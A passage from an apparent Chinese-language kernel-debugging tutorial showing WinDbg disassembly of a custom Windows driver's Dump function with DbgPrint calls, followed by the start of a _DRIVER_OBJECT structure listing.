edx,dword ptr [ebp+8]<br>&nbsp;<wbr>&nbsp;<wbr> 87 f8428585 52&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx<br>&nbsp;<wbr>&nbsp;<wbr> 87 f8428586 68308842f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz6! ?? ::FNODOBFM::`string' (f8428830)<br>&nbsp;<wbr>&nbsp;<wbr> 87 f842858b e824010000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!DbgPrint (f84286b4)<br>&nbsp;<wbr>&nbsp;<wbr> 87 f8428590 83c408&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,8<br>&nbsp;<wbr>&nbsp;<wbr> 88 f8428593 8b4508&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp+8]<br>&nbsp;<wbr>&nbsp;<wbr> 88 f8428596 83c01c&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,1Ch<br>&nbsp;<wbr>&nbsp;<wbr> 88 f8428599 50&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax<br>&nbsp;<wbr>&nbsp;<wbr> 88 f842859a 68108842f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz6! ?? ::FNODOBFM::`string' (f8428810)<br>&nbsp;<wbr>&nbsp;<wbr> 88 f842859f e810010000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!DbgPrint (f84286b4)<br>&nbsp;<wbr>&nbsp;<wbr> 88 f84285a4 83c408&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,8<br>&nbsp;<wbr>&nbsp;<wbr> 89 f84285a7 8b4d08&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx,dword ptr [ebp+8]<br>&nbsp;<wbr>&nbsp;<wbr> 89 f84285aa 8b5124&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx,dword ptr [ecx+24h]<br>&nbsp;<wbr>&nbsp;<wbr> 89 f84285ad 52&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx<br>&nbsp;<wbr>&nbsp;<wbr> 89 f84285ae 68f08742f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz6! ?? ::FNODOBFM::`string' (f84287f0)<br>&nbsp;<wbr>&nbsp;<wbr> 89 f84285b3 e8fc000000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!DbgPrint (f84286b4)<br>&nbsp;<wbr>&nbsp;<wbr> 89 f84285b8 83c408&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,8<br>&nbsp;<wbr>&nbsp;<wbr> 90 f84285bb 8b4508&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp+8]<br>&nbsp;<wbr>&nbsp;<wbr> 90 f84285be 8b4804&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx,dword ptr [eax+4]<br>&nbsp;<wbr>&nbsp;<wbr> 90 f84285c1 51&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx<br>&nbsp;<wbr>&nbsp;<wbr> 90 f84285c2 68d08742f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz6! ?? ::FNODOBFM::`string' (f84287d0)<br>&nbsp;<wbr>&nbsp;<wbr> 90 f84285c7 e8e8000000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!DbgPrint (f84286b4)<br>&nbsp;<wbr>&nbsp;<wbr> 90 f84285cc 83c408&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,8<br>&nbsp;<wbr>&nbsp;<wbr> 90 f84285cf eb09&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> jmp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!Dump+0x8a (f84285da)</p>
<p>bz6!Dump+0x81 [d:\mydriver\bz6\bz6.c @ 94]:<br>&nbsp;<wbr>&nbsp;<wbr> 94 f84285d1 8b55fc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx,dword ptr [ebp-4]<br>&nbsp;<wbr>&nbsp;<wbr> 94 f84285d4 8b420c&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [edx+0Ch]<br>&nbsp;<wbr>&nbsp;<wbr> 94 f84285d7 8945fc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> dword ptr [ebp-4],eax</p>
<p>bz6!Dump+0x8a [d:\mydriver\bz6\bz6.c @ 94]:<br>&nbsp;<wbr>&nbsp;<wbr> 94 f84285da 837dfc00&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> cmp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> dword ptr [ebp-4],0<br>&nbsp;<wbr>&nbsp;<wbr> 94 f84285de 7476&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> je&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!Dump+0x106 (f8428656)</p>
<p>bz6!Dump+0x90 [d:\mydriver\bz6\bz6.c @ 96]:<br>&nbsp;<wbr>&nbsp;<wbr> 96 f84285e0 8b4df8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx,dword ptr [ebp-8]<br>&nbsp;<wbr>&nbsp;<wbr> 96 f84285e3 894df4&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> dword ptr [ebp-0Ch],ecx<br>&nbsp;<wbr>&nbsp;<wbr> 96 f84285e6 8b55f4&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx,dword ptr [ebp-0Ch]<br>&nbsp;<wbr>&nbsp;<wbr> 96 f84285e9 52&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx<br>&nbsp;<wbr>&nbsp;<wbr> 96 f84285ea 68c08742f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz6! ?? ::FNODOBFM::`string' (f84287c0)<br>&nbsp;<wbr>&nbsp;<wbr> 96 f84285ef e8c0000000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!DbgPrint (f84286b4)<br>&nbsp;<wbr>&nbsp;<wbr> 96 f84285f4 83c408&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,8<br>&nbsp;<wbr>&nbsp;<wbr> 96 f84285f7 8b45f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp-8]<br>&nbsp;<wbr>&nbsp;<wbr> 96 f84285fa 83c001&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,1<br>&nbsp;<wbr>&nbsp;<wbr> 96 f84285fd 8945f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> dword ptr [ebp-8],eax<br>&nbsp;<wbr>&nbsp;<wbr> 97 f8428600 8b4dfc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx,dword ptr [ebp-4]<br>&nbsp;<wbr>&nbsp;<wbr> 97 f8428603 8b5110&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx,dword ptr [ecx+10h]<br>&nbsp;<wbr>&nbsp;<wbr> 97 f8428606 52&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx<br>&nbsp;<wbr>&nbsp;<wbr> 97 f8428607 68a08742f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz6! ?? ::FNODOBFM::`string' (f84287a0)<br>&nbsp;<wbr>&nbsp;<wbr> 97 f842860c e8a3000000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!DbgPrint (f84286b4)<br>&nbsp;<wbr>&nbsp;<wbr> 97 f8428611 83c408&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,8<br>&nbsp;<wbr>&nbsp;<wbr> 98 f8428614 8b45fc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp-4]<br>&nbsp;<wbr>&nbsp;<wbr> 98 f8428617 8b480c&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx,dword ptr [eax+0Ch]<br>&nbsp;<wbr>&nbsp;<wbr> 98 f842861a 51&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx<br>&nbsp;<wbr>&nbsp;<wbr> 98 f842861b 68808742f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz6! ?? ::FNODOBFM::`string' (f8428780)<br>&nbsp;<wbr>&nbsp;<wbr> 98 f8428620 e88f000000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!DbgPrint (f84286b4)<br>&nbsp;<wbr>&nbsp;<wbr> 98 f8428625 83c408&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,8<br>&nbsp;<wbr>&nbsp;<wbr> 99 f8428628 8b55fc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx,dword ptr [ebp-4]<br>&nbsp;<wbr>&nbsp;<wbr> 99 f842862b 0fbe4230&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> movsx&nbsp;<wbr>&nbsp;<wbr> eax,byte ptr [edx+30h]<br>&nbsp;<wbr>&nbsp;<wbr> 99 f842862f 50&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax<br>&nbsp;<wbr>&nbsp;<wbr> 99 f8428630 68608742f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz6! ?? ::FNODOBFM::`string' (f8428760)<br>&nbsp;<wbr>&nbsp;<wbr> 99 f8428635 e87a000000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!DbgPrint (f84286b4)<br>&nbsp;<wbr>&nbsp;<wbr> 99 f842863a 83c408&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,8<br>&nbsp;<wbr> 100 f842863d 8b4dfc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx,dword ptr [ebp-4]<br>&nbsp;<wbr> 100 f8428640 8b5108&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx,dword ptr [ecx+8]<br>&nbsp;<wbr> 100 f8428643 52&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx<br>&nbsp;<wbr> 100 f8428644 68408742f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz6! ?? ::FNODOBFM::`string' (f8428740)<br>&nbsp;<wbr> 100 f8428649 e866000000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!DbgPrint (f84286b4)<br>&nbsp;<wbr> 100 f842864e 83c408&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,8<br>&nbsp;<wbr> 101 f8428651 e97bffffff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> jmp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!Dump+0x81 (f84285d1)</p>
<p>bz6!Dump+0x106 [d:\mydriver\bz6\bz6.c @ 103]:<br>&nbsp;<wbr> 103 f8428656 68308742f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz6! ?? ::FNODOBFM::`string' (f8428730)<br>&nbsp;<wbr> 103 f842865b e854000000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!DbgPrint (f84286b4)<br>&nbsp;<wbr> 103 f8428660 83c404&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,4<br>&nbsp;<wbr> 104 f8428663 68608842f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz6! ?? ::FNODOBFM::`string' (f8428860)<br>&nbsp;<wbr> 104 f8428668 e847000000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!DbgPrint (f84286b4)<br>&nbsp;<wbr> 104 f842866d 83c404&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,4<br>&nbsp;<wbr> 105 f8428670 8be5&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,ebp<br>&nbsp;<wbr> 105 f8428672 5d&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> pop&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp<br>&nbsp;<wbr> 105 f8428673 c20400&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ret&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 4</p>
<p><br>/////////////<br>我们简单数下源程序中的KdPrint，再比较call，6个call以后开始循环：<br>&nbsp;<wbr>&nbsp;<wbr> 94 f84285da 837dfc00&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> cmp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> dword ptr [ebp-4],0<br>&nbsp;<wbr>&nbsp;<wbr> 94 f84285de 7476&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> je&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!Dump+0x106 (f8428656)<br>&nbsp;<wbr>&nbsp;<wbr> ........<br>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>//////<br>&nbsp;<wbr>开始手工看数据啦~~~<br>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> 我们可以dt _driver_object来看数据结构<br>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> kd&gt; dt _driver_object<br>ntdll!_DRIVER_OBJECT<br>&nbsp;<wbr>&nbsp;<wbr> +0x000 Type&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Int2B<br>&nbsp;<wbr>&nbsp;<wbr> +0x002 Size&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Int2B<br>&nbsp;<wbr>&nbsp;<wbr> +0x004 DeviceObject&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Ptr32 _DEVICE_OBJECT<br>&nbsp;<wbr>&nbsp;<wbr> +0x008 Flags&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Uint4B<br>&nbsp;<wbr>&nbsp;<wbr> +0x00c DriverStart&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Ptr32 Void<br>&nbsp;<wbr>&nbsp;<wbr> +0x010 DriverSize&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Uint4B<br>&nbsp;<wbr>&nbsp;<wbr> +0x014 DriverSection&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Ptr32 Void<br>&nbsp;<wbr>&nbsp;<wbr> +0x018 DriverExtension&nbsp;<wbr> : Ptr32 _DRIVER_EXTENSION<br>&nbsp;<wbr>&nbsp;<wbr> +0x01c DriverName&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : _UNICODE_STRING<br>&nbsp;<wbr>&nbsp;<wbr> +0x024 HardwareDatabase : Ptr32 